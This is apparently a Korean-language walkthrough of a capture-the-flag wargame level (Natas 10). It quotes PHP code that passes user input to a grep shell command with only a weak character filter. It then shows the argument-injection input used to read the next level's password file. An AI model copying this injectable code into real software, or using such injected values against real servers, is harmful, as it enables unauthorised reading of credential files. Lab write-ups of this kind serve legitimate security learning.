<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
이번에는 ; | & 문자를 사용하지 않고 /etc/natas_webpass/natas11의 내용을 확인하여야 한다.
쿼리에 a /etc/natas_webpass/natas11 를 입력하면 아래와 같은 명령어가 실행될 것이다:
grep -i a /etc/natas_webpass/natas11 dictionary.txt
a /etc/natas_webpass/natas11
b /etc/natas_webpass/natas11
c /etc/natas_webpass/natas11
...
의 순서대로 쿼리를 보내면 언젠가는 natas11의 내용을 확인할 수 있지 않을까?
결국 c /etc/natas_webpass/natas11 쿼리가 작동하여 natas11의 비밀번호를 얻을 수 있었다.